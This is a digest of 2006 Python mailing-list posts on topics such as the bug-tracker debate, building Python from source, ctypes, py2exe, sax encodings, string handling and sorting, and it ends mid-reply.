>>http://mail.python.org/pipermail/python-dev/2006-October/069139.html >>where the "PSF infrastracture committee", after weeks of evaluation, >>recommends using a non open source tracker (called JIRA - never >>heard before of course) for Python itself. >> >>Does this smell "Bitkeeper fiasco" to anyone else than me? > > > Sounds crazy, what's wrong with bugzilla? Much the same as is wrong with the existing SourceForge system, I'd say. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From chtaylo3 at gmail.com Thu Oct 19 09:12:03 2006 From: chtaylo3 at gmail.com (Christopher Taylor) Date: Thu, 19 Oct 2006 09:12:03 -0400 Subject: Install from source on a x86_64 machine In-Reply-To: <1161252731.452070.308570@h48g2000cwc.googlegroups.com> References: <1161252731.452070.308570@h48g2000cwc.googlegroups.com> Message-ID: <2590773a0610190612u3fab2365kdb7cfce5b16b137b@mail.gmail.com> > The README should provide sufficient information, although if you want > to install Python into /usr rather than /usr/local (as I believe is the > default), you need to run configure as follows: > > ./configure --prefix=/usr > Yeah, I saw that in the readme. > > In fact, it's /usr/bin/python, /usr/bin/python2.3, /usr/lib64/python2.3 > and /usr/lib/python, since Red Hat hasn't decided to capitalise the > name of the software. ;-) > ok you got me, type-o .... > The configured Makefile together with the various other tools should > work out where to put the libraries. I'm a newcomer to x86-64, although > I've had some relatively recent experience with sparc64, and whilst I'm > not really familiar with the way the various tools choose the install > directory of libraries, I've noticed that sometimes 64-bit libraries > end up in lib rather than lib64. Meanwhile, I notice that the Red Hat > libraries do adhere correctly to the expectation that 32-bit libraries > are found under /usr/lib/python2.3 and 64-bit libraries are found under > /usr/lib64/python2.3. > > Perhaps you should configure and make Python, then run the install > process in "pretend" mode: > > make -n altinstall > > You'll get a huge amount of output, but this should at least tell you > what the installation process is thinking of doing, and it won't be > overwriting anything important while it does so. > ok, so where does that leave me. I'm not even sure which files *should* be put in /lib64 vs lib. >>> I guess what I'm expecting is a congifure option to specify where architecture dependent files should be put. <<< Has anyone else mentioned this before? Respectfully, Christopher Taylor From onurb at xiludom.gro Mon Oct 9 07:04:51 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 09 Oct 2006 13:04:51 +0200 Subject: Bizzare lst length problem In-Reply-To: <1160313562.355853.259070@i42g2000cwa.googlegroups.com> References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com> <1160311703.533544.164250@i42g2000cwa.googlegroups.com> <1160312065.656400.275770@k70g2000cwa.googlegroups.com> <1160313168.683964.242350@c28g2000cwb.googlegroups.com> <1160313562.355853.259070@i42g2000cwa.googlegroups.com> Message-ID: <452a2cd3$0$13108$426a74cc@news.free.fr> Ben wrote: > Using Fredericks advice I managed to track down the problem - it was > really very stupid. I had accidentally cast the list to a string There's nothing like "type casting" in Python. You did not "cast the list to a string", you created a string from a list. -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From drdpmalhotra at gmail.com Thu Oct 5 03:09:29 2006 From: drdpmalhotra at gmail.com (vmalhotra) Date: 5 Oct 2006 00:09:29 -0700 Subject: Assertion in Python Message-ID: <1160032169.115098.213000@i42g2000cwa.googlegroups.com> Hi All, I want to do verification in my scripts. So for that what i am doing here are shown below: 1. Telnet to one router. 2. Configure router. 3. Configure routing. Now after doing all these i have to check showinterfaces. So i execute command show interface and saved the output in one file. Now the problem which i am facing is how to do assertion from that output. e.g output is something like this eth0 is up OSPF not enabled on this interface eth1 is up Internet Address 192.168.1.2/24, Area 0.0.0.0 Router ID 192.168.1.2, Network Type BROADCAST, Cost: 10 Transmit Delay is 1 sec, State DR, Priority 1 Designated Router (ID) 192.168.1.2, Interface Address 192.168.1.2 No backup designated router on this network Timer intervals configured, Hello 10, Dead 40, Wait 40, Retransmit 5 Hello due in 00:00:00 Neighbor Count is 0, Adjacent neighbor count is 0 eth2 is up OSPF not enabled on this interface eth3 is down OSPF not enabled on this interface lo is up OSPF not enabled on this interface sit0 is down OSPF not enabled on this interface In this i want to check Designated Router (ID) 192.168.1.2. If this is the same Ip which i have gice in configuration then test case will get pass otherwise Fail. Can somebody send me the code how to do this. Thanks in Advance Vikram Malhotra From sachinpunjabi at gmail.com Mon Oct 30 04:38:16 2006 From: sachinpunjabi at gmail.com (Sachin Punjabi) Date: 30 Oct 2006 01:38:16 -0800 Subject: Lookuperror : unknown encoding : utf-8 In-Reply-To: <1162200427.209299.4920@m73g2000cwd.googlegroups.com> References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com> <1162194168.044962.262720@b28g2000cwb.googlegroups.com> <1162196598.260229.224100@e3g2000cwe.googlegroups.com> <1162197440.574405.195010@m7g2000cwm.googlegroups.com> <1162198497.288698.244940@k70g2000cwa.googlegroups.com> <1162199750.797149.317970@m7g2000cwm.googlegroups.com> <1162200427.209299.4920@m73g2000cwd.googlegroups.com> Message-ID: <1162201096.705529.50330@k70g2000cwa.googlegroups.com> On Oct 30, 2:27 pm, "Leo Kislov" wrote: > Sachin Punjabi wrote: > > I installed it again but it makes no difference. It still throws me > > error for LookUp Error: unknown encoding : utf-8.Most likely you're not using the new python, you're still running old > one. > > -- Leo I installed the newer version on D drive and it was previously installed on C drive. Also the command which bjorn asked me to execute on command line worked very much fine. Sachin. From cephire at gmail.com Fri Oct 27 15:31:44 2006 From: cephire at gmail.com (Joseph) Date: 27 Oct 2006 12:31:44 -0700 Subject: Import Error Message-ID: <1161975490.176911.233060@i42g2000cwa.googlegroups.com> Hi, I am using Karrigell & Sprite for web development. Sprite is placed in the main folder of my app. I got a sub-folder called admin. I am using the below line to import Sprite from the subfolder. from ..sprite import Sprite Most of the time it works. However time to time, it will throw an error that there is no module called Sprite. I delete the .pyc file, call a page in the main folder, then it will work. Any help how I can resolve it? Thank you in advance, Joseph From cologuns at xs4all.nl Wed Oct 11 08:43:23 2006 From: cologuns at xs4all.nl (Martijn de Munnik) Date: Wed, 11 Oct 2006 14:43:23 +0200 (CEST) Subject: Compile python extension Message-ID: <23338.84.31.232.161.1160570603.squirrel@webmail.xs4all.nl> Hi, I'm trying to build/install pysqlite on a Solaris 10 platform. I've got Sun Studio 11 on a AMD 64 platform and got this error. I'm a python newbie and just want to install trac. I've got ActiveState python: ActivePython 2.4.3 Build 11 (ActiveState Software Inc.) based on Python 2.4.3 (#1, Apr 3 2006, 18:07:58) [C] on sunos5 Type "help", "copyright", "credits" or "license" for more information. And sqlite build with the following options ./configure --prefix=/opt/64/sqlite --enable-threadsafe --disable-tcl my environment looks like this: CC=cc CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr CXX=CC CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr LDFLAGS=-xtarget=opteron -xarch=amd64 and setyp.cfg looks like this [build_ext] define= include_dirs=/opt/sqlite/include library_dirs=/opt/sqlite/lib libraries=sqlite3 /opt/sqlite is a symlink to /opt/64/sqlite and finally the build command: % python setup.py build running build running build_py running build_ext building 'pysqlite2._sqlite' extension Traceback (most recent call last): File "setup.py", line 159, in ? main() File "setup.py", line 156, in main setup(**get_setup_args()) File "/opt/python/lib/python2.4/distutils/core.py", line 149, in setup dist.run_commands() File "/opt/python/lib/python2.4/distutils/dist.py", line 946, in run_commands self.run_command(cmd) File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in run_command cmd_obj.run() File "/opt/python/lib/python2.4/distutils/command/build.py", line 112, in run self.run_command(cmd_name) File "/opt/python/lib/python2.4/distutils/cmd.py", line 333, in run_command self.distribution.run_command(command) File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in run_command cmd_obj.run() File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line 279, in run self.build_extensions() File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line 405, in build_extensions self.build_extension(ext) File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line 470, in build_extension depends=ext.depends) File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 699, in compile self._compile(obj, src, ext, cc_args, extra_postargs, pp_opts) File "/opt/python/lib/python2.4/distutils/unixccompiler.py", line 112, in _compile self.spawn(self.compiler_so + cc_args + [src, '-o', obj] + File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 1040, in spawn spawn (cmd, dry_run=self.dry_run) File "/opt/python/lib/python2.4/distutils/spawn.py", line 37, in spawn _spawn_posix(cmd, search_path, dry_run=dry_run) File "/opt/python/lib/python2.4/distutils/spawn.py", line 122, in _spawn_posix log.info(string.join(cmd, ' ')) File "/opt/python/lib/python2.4/distutils/log.py", line 33, in info self._log(INFO, msg, args) File "/opt/python/lib/python2.4/distutils/log.py", line 23, in _log print msg % args TypeError: not enough arguments for format string I've got the same issues with mysql and postgresql extensions, any ideas??? BTW anybody succesfully compiled python on Solaris using Sun Studio? thanks, Martijn From edreamleo at charter.net Wed Oct 4 15:52:31 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 14:52:31 -0500 Subject: How to ask sax for the file encoding References: <4oi0f3FehgnuU1@uni-berlin.de> Message-ID: <6iUUg.91$iP5.21@newsfe07.lga> > the encoding isn't *in* the XML file, it's an artifact of the > serialization model used for a specific XML infoset. the XML > data is pure Unicode. Sorry, but no. The *file* is what I am talking about, and the way it is encoded does, in fact, really make a difference to some users. They have a right, I think, to expect that the original encoding gets preserved when the file is rewritten. Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From johnjsal at NOSPAMgmail.com Fri Oct 20 13:25:11 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 17:25:11 GMT Subject: proper format for this database table In-Reply-To: References: <4537e232$0$3280$426a34cc@news.free.fr> Message-ID: Neil Cerutti wrote: > On 2006-10-20, John Salerno wrote: >> Bruno Desthuilliers wrote: >>> John Salerno a ?crit : >>>> Hi guys. I was wondering if someone could suggest some possible >>>> structures for an "Education" table in a database. >>> Wrong newsgroup, then. comp.database.* is right next door... >> I know, I'm sorry. It's just that this newsgroup server doesn't >> have any database ngs on it. :( > > Try Google Groups for these annoying cases. > True, didn't think of that. (Probably a good idea to make up a fake account though, since GG posts your email address.) From pavlovevidence at gmail.com Fri Oct 20 16:31:02 2006 From: pavlovevidence at gmail.com (Carl Banks) Date: 20 Oct 2006 13:31:02 -0700 Subject: invert or reverse a string... warning this is a rant In-Reply-To: <1161361589.757562.243030@h48g2000cwc.googlegroups.com> References: <1161358037.736440.24010@h48g2000cwc.googlegroups.com> <1161361589.757562.243030@h48g2000cwc.googlegroups.com> Message-ID: <1161376262.161604.283620@m7g2000cwm.googlegroups.com> Istvan Albert wrote: > Carl Banks wrote: > > > Say you're using a function from a third-party library that finds the > > first character in a string that meets some requirement. You need to > > find the last such character. > > You seem to imply that invoking a function on a reversed input is > somehow a generic solution to the problem (finding first vs finding > last) that you describe above above. Nope, I wasn't. > That would be the exception rather than the rule. Oh, don't be such a Debbie Downer. The rule is, it works as long as the character you're looking for isn't relative to any other character in the string. (Geez, I was just giving a counterexample.) Carl Banks From nogradi at gmail.com Mon Oct 30 04:15:23 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Mon, 30 Oct 2006 10:15:23 +0100 Subject: lossless transformation of jpeg images In-Reply-To: <200610291845.06389.inq1ltd@verizon.net> References: <5f56302b0610291115k32e58ba6s72757b1ba1d51f69@mail.gmail.com> <5f56302b0610291217r21425ae9vcaba963dd58c10f4@mail.gmail.com> <200610291845.06389.inq1ltd@verizon.net> Message-ID: <5f56302b0610300115y31bd9074rbdaf4bc37e80f874@mail.gmail.com> > > > Last time I checked PIL was not able to apply > > > lossless transformations to jpeg images so > > > I've created Python bindings (or is it a > > > wrapper? I never knew the difference :)) for > > > the jpegtran utility of the Independent Jpeg > > > Group. > > > Why not use Tkinter for jpeg ?? I'm not sure what you mean. Tkinter offers a way to apply for instance lossless rotation to an image? BTW, I have a question to PIL developers: is there a reason why functionality similar to jpegtran hasn't been built into PIL? I very much like PIL and was slightly surprised that lossless rotations are not in it, since everything that needs to be done can be found on www.ijg.org. Or there are copyright/legal issues? Or the C code there only works on linux and would be difficult to create a cross-platform binding? Or some other reason which I don't see? I'm asking because I would like to avoid possible difficulties (which I don't see yet but maybe someone who has thought about it before for example PIL developers do) while I try to create bindings for all jpeg related stuff that can be found on www.ijg.org. Thanks, Daniel From oliver.andrich at gmail.com Tue Oct 3 08:09:35 2006 From: oliver.andrich at gmail.com (Oliver Andrich) Date: Tue, 3 Oct 2006 14:09:35 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <22pUg.132825$zy5.1820633@twister1.libero.it> References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: <6f7b52d0610030509oc76acbj8cbcbae46b77c739@mail.gmail.com> Hi, On 10/3/06, Giovanni Bajo wrote: > I just read this mail by Brett Cannon: > http://mail.python.org/pipermail/python-dev/2006-October/069139.html > where the "PSF infrastracture committee", after weeks of evaluation, recommends > using a non open source tracker (called JIRA - never heard before of course) > for Python itself. > > Does this smell "Bitkeeper fiasco" to anyone else than me? No, this doesn't smell like the BK fiasco, it is just the decision to use a certain tool. But it is easy to change or influence this recommondation. Step up as an admin for Roundup. :) Best regards, Oliver -- Oliver Andrich --- http://roughbook.de/ From arkanes at gmail.com Wed Oct 4 14:25:41 2006 From: arkanes at gmail.com (Chris Mellon) Date: Wed, 4 Oct 2006 13:25:41 -0500 Subject: Having trouble using CTypes with a custom function In-Reply-To: <1159985896.742017.313430@e3g2000cwe.googlegroups.com> References: <1159985896.742017.313430@e3g2000cwe.googlegroups.com> Message-ID: <4866bea60610041125x10ca0ae5m3eef340aa961bbb3@mail.gmail.com> On 4 Oct 2006 11:18:16 -0700, tkondal at gmail.com wrote: > Hi all. > > I just started looking at Python's ctypes lib and I am having trouble > using it for a function. > > For starters, here's my Python code: > > > from ctypes import*; > myStringDLL= cdll.LoadLibrary("myStringDLL.dll"); > > GetMyString = getattr(myStringDLL, > "?GetMyString@@YA_NAAV?$basic_string at DU?$char_traits at D@std@@V?$allocator at D@2@@std@@@Z") > > strString = create_string_buffer('\000' * 256); > GetMyString.restype = c_int; > GetMyString.argtypes = [c_char_p]; > > bResult = GetMyString (strSerialNumber); > > print (bResult); > print (strSerialNumber); > > #C++ Prototype of the function I want to call: > #bool GetMyString (string& stringParam) ; > > > > > I do not have access to the source code of this function so don't ask > me to try different things in C++. This DLL is working fine. > > The problem that I have is that print (strSerialNumber) does not seem > to print the correct string. What I get is some garbage value of > unprintable characters. Am I using this the correct way? > This function is expecting a C++ std::string object, not a regular C style string. You'll need a wrapper function, and one which uses the same compiler and STL as the C++ source. > Thanks. > > -- > http://mail.python.org/mailman/listinfo/python-list > From eldiener_no_spam_here at earthlink.net Tue Oct 10 08:39:18 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Tue, 10 Oct 2006 12:39:18 GMT Subject: Python component model In-Reply-To: <1160467516.602655.169920@c28g2000cwb.googlegroups.com> References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: Nick Vatamaniuc wrote: > Edward Diener No Spam wrote: >> Michael wrote: > > Python does not _need_ a component model just as you don't _need_ a RAD > IDE tool to write Python code. The reason for having a component model > or a RAD IDE tool is to avoid writing a lot of boiler plate code. > Python is terse enough that boiler plate code is not needed, just type > what you need into an editor. It seems that you talk about Python but > you are still thinking in Java or C++. A RAD IDE tool to hook up components into an application or library ( module in Python ) has nothing to do with terseness and everything to do with ease of programming. All you are saying is that you don't have a need for this, but perhaps others do. I don't mind others saying they have no need or seeing no benefit. But if you have ever used a visual design-time environment for creating applications you might feel differently. "Thinking in Java or C++" as opposed to Python does not mean anything to me as a general statement. I am well aware of the difference between statically and dynamically typed languages but why this should have anything to do with RAD programming is beyond me. Do you care to elucidate this distinction ? > > At the same time one could claim that Python already has certain > policies that makes it seem as if it has a component model. Take a look > at the "magic methods". For example if a class has a __len__ method, it > is possible to use the len() function on an instance of that class. If > a class has the __getitem__ then indexing can be used on that class's > insance. Then Python has properties (see > http://www.python.org/doc/2.2.3/whatsnew/sect-rellinks.html). Just by > inspecting the object one can tell a great deal about them (even read > the documentation if needed, by using the __doc__ attribute). What > other standards would you propose for the core language? Python has great facilities for a component model, much better than the other languages I use regularly ( C++, C#, Java ). I am not arguing against that. A component model for RAD tools allows the tool to expose properties and events to the end-user at design time so that at run-time the properties and events are automatically setup once an object is instantiated. The essence of a component model for RAD programming is how one specifies properties and events for a class to be manipulated by the RAD tool at design time. Another obvious part of the component model is how one specifies that the properties and events one sets up at design-time are serialized so that at run-time they are properly set. A final element of a component model is the ability of a component to interact with the environment in which it exists at design time, through property editors, and at run-time, the latter being obviously more important for visual controls than non-visual components. From shejo284 at gmail.com Tue Oct 3 10:44:39 2006 From: shejo284 at gmail.com (Sheldon) Date: 3 Oct 2006 07:44:39 -0700 Subject: Resuming a program's execution after correcting error In-Reply-To: <1159469340.286309.74130@i42g2000cwa.googlegroups.com> References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com> <1159469340.286309.74130@i42g2000cwa.googlegroups.com> Message-ID: <1159886679.750791.164800@i3g2000cwc.googlegroups.com> MonkeeSage wrote: > Georg Brandl wrote: > > As I said before, this can be done by finding out where the error is raised, > > what the cause is and by inserting an appropriate try-except-statement in > > the code. > > I could be mistaken, but I *think* the OP is asking how to re-enter the > stack at the same point as the exception exited from and continue with > the execution as if the exception never happened. AFAIK, that isn't > possible; however, given that he has a file to work from that indicates > a portion of the state at the time of the exception, I think he may be > able simulate that kind of functionality by reading in the file on > exception and then returning a call to the function where the exception > occured with the data from the file. Something like this mockup: > > def faulty_function(a, b, c=None): > if not c: > c = 0 > try: > # modify c, write c to file... > # oops hit an exception > c += a / b > except: > # read from the file here > # c = ... > # and fix the error > b += 1 > return faulty_function(a, b, c) > return c > > print faulty_function(2, 0) # => 2 > > Of course, it's probably much better to just fix the code and avoid the > exception in the first place. ;) > > Regards, > Jordan Thanks Jordon, I think you understood my problem best. I know now that this is not possible but I would like to create an exception that saves all the current variables when there is an error. I think pickle is the answer but I never got it to work. My program is very large and it is being modified often. Any advice on how to save the variables. /Sheldon From johnjsal at NOSPAMgmail.com Thu Oct 5 16:15:49 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Thu, 05 Oct 2006 20:15:49 GMT Subject: How do I put % in a format sting? In-Reply-To: References: Message-ID: Gregory Pi?ero wrote: > How do I put % in a format sting? > > For example I want this to work: > >>>> sql_template="""SELECT ENTRY FROM LOOKUP WHERE FIELDNAME LIKE '%s%V'""" >>>> sql_template % 'userdef103' > Traceback (most recent call last): > File "", line 1, in ? > TypeError: not enough arguments for format string > > > Put it immediately after the string: sql_template="""SELECT ENTRY FROM LOOKUP WHERE FIELDNAME LIKE '%s%V'""" % 'userdef103' But I think SQL has other recommended methods. At least with SQLite, it is recommended you not use Python's %s formatter but instead the "?" formatter. From fredrik at pythonware.com Fri Oct 20 10:17:09 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 16:17:09 +0200 Subject: invert or reverse a string... warning this is a rant References: <7iNZg.117$1n3.3352@news.tufts.edu> <1161352970.123247.322140@i42g2000cwa.googlegroups.com> Message-ID: Tim N. van der Leeuw wrote: > In practice, the short-term fix would be to add a __str__ method to the > 'reversed' object so what should str(reversed(range(10))) do ? > and perhaps to all iterators too (so that trying to build a string from an > iterator would do the obvious thing). all iterators? who's going to do that? From onurb at xiludom.gro Fri Oct 27 11:33:10 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Fri, 27 Oct 2006 17:33:10 +0200 Subject: conditional computation In-Reply-To: References: <4541369b$0$2875$426a74cc@news.free.fr> <4541f4d7$0$7249$426a74cc@news.free.fr> Message-ID: <454226b7$0$23601$426a74cc@news.free.fr> robert wrote: > Bruno Desthuilliers wrote: >> robert wrote: >>> Bruno Desthuilliers wrote: >>>> robert a ?crit : >>>> (snip) >>>>> class MemoCache(dict): # cache expensive Objects during a session >>>>> (memory only) >>>>> def memo(self, k, f): >>>>> try: return self[k] >>>>> except KeyError: #<--------- was error >>>>> return self.setdefault(k, f()) >>>>> cache=MemoCache() >>>>> ... >>>>> >>>>> o = cache.memo( complex-key-expr, lambda: expensive-calc-expr ) >>>>> >>>> And how do you get back the cached value without rewriting both >>>> complex-key-expr *and* expensive-calc-expr ? Or did I missed the >>>> point ? >>> the complex-key-expr is written only once in the code >> >> How do you get something back from the cache then ? >> >>> expensive-calc-expr is written only once in code >> >> Same problem here... I fail to understand how you intend to use this >> "cache". > > the first time, "self.setdefault(k, f())" executes the lambda ("f()"), (snip) Robert, that's not the point. I do have enough Python knowledge to understand this (totally trivial) code !-) What I don't understand is how this code is supposed to save you from having to actually write both complex-key-expr and expensive-calc-expression more than once. You need them both each time you access the cache - whether the result of expensive-calc-expression has already been cached or not. Now this seems so obvious that I guess I failed to understand some point in your original spec (emphasis is mine): """ I want to use a computation cache scheme like o = CACHECOMPUTE complex-key-expr expensive-calc-expr frequently and elegantly *without writing complex-key-expr or expensive-calc-expr twice*. """ -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From simon at brunningonline.net Mon Oct 16 14:36:30 2006 From: simon at brunningonline.net (Simon Brunning) Date: Mon, 16 Oct 2006 19:36:30 +0100 Subject: Need a strange sort method... In-Reply-To: <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com> <8c7f10c60610161130i4d520b49xd6fc5a8450d579f4@mail.gmail.com> Message-ID: <8c7f10c60610161136h59d10461gb4f4927b4728f693@mail.gmail.com> On 10/16/06, Simon Brunning wrote: > >>> a = [1,2,3,4,5,6,7,8,9,10] > >>> a.sort(key=lambda item: (((item-1) %3), item)) > >>> a > [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] Re-reading the OP's post, perhaps sorting isn't what's required: >>> a[::3] + a[1::3] + a[2::3] [1, 4, 7, 10, 2, 5, 8, 3, 6, 9] -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From python at hope.cz Wed Oct 18 11:24:27 2006 From: python at hope.cz (Lad) Date: 18 Oct 2006 08:24:27 -0700 Subject: Dictionaries Message-ID: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> How can I add two dictionaries into one? E.g. a={'a:1} b={'b':2} I need the result {'a':1,'b':2}. Is it possible? Thank you L. From fredrik at pythonware.com Tue Oct 10 09:52:49 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 10 Oct 2006 15:52:49 +0200 Subject: Using the imp module References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com> Message-ID: Claus Tondering wrote: >I understand that you can use the imp module to programmatically mimic > the "import xyzzy" statement. "imp" sounds like overkill for that purpose; the usual way is do do that is to explicitly call __import__: xyzzy = __import__("xyzzy") > But is there any way to programmatically mimic the "from xyzzy import > *" statment? you can use getattr() to pick out the objects your need. or you could do something like: globals().update(vars(__import__("xyzzy"))) From simon at brunningonline.net Mon Oct 16 15:22:43 2006 From: simon at brunningonline.net (Simon Brunning) Date: Mon, 16 Oct 2006 20:22:43 +0100 Subject: string splitting In-Reply-To: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> References: <1161025958.201815.174020@m73g2000cwd.googlegroups.com> Message-ID: <8c7f10c60610161222p743aa070j47e8be82dddc3037@mail.gmail.com> On 16 Oct 2006 12:12:38 -0700, rdharles at gmail.com wrote: > Hello, > I have thousands of files that look something like this: > > wisconsin_state.txt > french_guiana_district.txt > central_african_republic_province.txt > > I need to extract the string between the *last* underscore and the > extention. > So based on the files above, I want returned: > state > district > province > > My plan was to use .split or .find but I can't figure out how locate > only the last underscore in the filename. >>> spam = 'central_african_republic_province.txt' >>> spam.split('.')[0].rsplit('_', 1)[-1] 'province' -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From steven.bethard at gmail.com Fri Oct 13 12:41:53 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Fri, 13 Oct 2006 10:41:53 -0600 Subject: Loops Control with Python In-Reply-To: References: <1160755760.629942.130200@m73g2000cwd.googlegroups.com> Message-ID: <04udnT8kfL1JXLLYnZ2dnUVZ_s2dnZ2d@comcast.com> hg wrote: > How about a thread on GOTOs ? ;-) A thread? No need! There's a module: http://entrian.com/goto/ ;-) STeVe From moqtar at gmail.com Fri Oct 20 00:22:38 2006 From: moqtar at gmail.com (Kirt) Date: 19 Oct 2006 21:22:38 -0700 Subject: Need help in Py2exe Message-ID: <1161318158.913494.69770@m7g2000cwm.googlegroups.com> I have a simple scrips that Parses a XML file and prints its element. 1)Main.py 2)Handler.py 3)test.xml The scripts works fine from comand prompt. Now i wanted to convert it to an exe. So i wrote a setup.py scripts as folows: #-------------------------Setup.py---------------------------------- from distutils.core import setup import py2exe setup( name = "Main", description = " Parse XML", version = "0.1", windows = [ {"script": "main.py", "icon_resources": [(1, "xml.ico")] } ], data_files=[("List.xml"),("handler.py")], ) ------------------------------------------------------------------------------- When i run this as python setup.py py2exe. I get an main.exe file in dist folder. But when i run the file i get an error -- Traceback (most recent call last): File "main.py", line 7, in ? File "xml\sax\sax2exts.pyc", line 37, in make_parser File "xml\sax\saxexts.pyc", line 77, in make_parser xml.sax._exceptions.SAXReaderNotAvailable: No parsers found.. I think i am missing something in setup.py file. Can anyone help? From horpner at yahoo.com Tue Oct 17 16:10:48 2006 From: horpner at yahoo.com (Neil Cerutti) Date: Tue, 17 Oct 2006 20:10:48 GMT Subject: making a valid file name... References: <1161102165.272182.207990@m73g2000cwd.googlegroups.com> Message-ID: On 2006-10-17, Edgar Matzinger wrote: > Hi, > > On 10/17/2006 06:22:45 PM, SpreadTooThin wrote: >> valid = >> ':./,^0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ ' >> > > not specifying the OS platform, these are not all the > characters that may occur in a filename: '[]{}-=", etc. And '/' > is NOT valid. On a unix platform. And it should be easy to > scan the filename and check every character against the > 'valid-string'. In the interactive fiction world where I come from, a portable filename is only 8 chars long and matches the regex [A-Z][A-Z0-9]*, i.e., capital letters and numbers, with no extension. That way it'll work on old DOS machines and on Risc-OS. Wait... is there Python for Risc-OS? -- Neil Cerutti > > HTH, cu l8r, Edgar. From bernard.chhun at gmail.com Fri Oct 6 08:11:11 2006 From: bernard.chhun at gmail.com (Bernard) Date: 6 Oct 2006 05:11:11 -0700 Subject: extract certain values from file with re In-Reply-To: References: Message-ID: <1160136671.710836.69370@h48g2000cwc.googlegroups.com> Hi Fabian, I'm still a youngster in Python but I think I can help with the "extracting data from the log file" part. As I'm seeing it right now, the only character separating the numbers below is the space character. You could try splitting all the lines by that character starting from the NO Column. The starting point of the split function could easily be defined by regexes. Using this regex : \s+\d+\s{1,2}[\d\w\.-]*\s+ ... I was able to extract the 2 first columns of every row. And since the while document is structured like a table, you could define a particular index for each of the columns of the split result. I sincerely hope this can help in any way :) From bearophileHUGS at lycos.com Mon Oct 2 17:45:09 2006 From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com) Date: 2 Oct 2006 14:45:09 -0700 Subject: php and python: how to unpickle using PHP? References: <4521721B.9040002@vtxmail.ch> Message-ID: <1159825509.493262.11490@h48g2000cwc.googlegroups.com> Ted Zeng: > I store some test results into a database after I use python > To pickle them (say, misfiles=['file1','file2']) > Now I want to display the result on a web page which uses PHP. > How could the web page unpickle the results and display them? > Is there a PHP routine that can do unpickle ? Instead of pickling, maybe you can save the data from python in json format: http://www.json.org/ Then you can read it from PHP. Bye, bearophile From p.lavarre at ieee.org Mon Oct 16 20:12:50 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 16 Oct 2006 17:12:50 -0700 Subject: doctest quiet again before exit how Message-ID: <1161043970.812443.252220@m7g2000cwm.googlegroups.com> Looks like every run of doctest after the first is verbose: $ python2.5 quiet-once.py (0, 0) *** DocTestRunner.merge: '__main__' in both testers; summing outcomes. (0, 0) *** DocTestRunner.merge: '__main__' in both testers; summing outcomes. (0, 0) $ $ cat quiet-once.py import doctest print doctest.testmod() print doctest.testmod() print doctest.testmod() $ How do I ask for another quiet run, before exiting the process? Adding the arg verbose=False to the testmod call doesn't work. From scott.daniels at acm.org Sun Oct 1 14:46:59 2006 From: scott.daniels at acm.org (Scott David Daniels) Date: Sun, 01 Oct 2006 11:46:59 -0700 Subject: a query on sorting In-Reply-To: References: <20060927092030.76520.qmail@web8508.mail.in.yahoo.com> Message-ID: <45200547$1@nntp0.pdx.net> Paul McGuire wrote: >.... In the interests of beating a dead horse into the ground (metaphor-mixing?), > I looked at using map to one-line the OP's request, and found an interesting > inconsistency. > > I tried using map(reversed, list(enumerate(a))), but got back a list of > iterators. To create the list of tuples, I have to call the tuple > constructor on each one, as in: > > map(tuple,map(reversed,list(enumerate(a)))) Doesn't the following read more easily? [tuple(reversed(x)) for x in enumerate(a)] > However, sorted returns a list, not a listsortediterator. Why the > difference in these two builtins? "sorted" (esp. Timsort) _must_ have the materialized list in memory at some point in order to sort. The only alternative would be to provide a much less efficient heap-based solution that would still need everything in memory before emitting the first result. If you always have to build the list in memory, returning the list gives the recipient more chances to be efficient. "reversed" has some great special cases related to "xrange" that can be 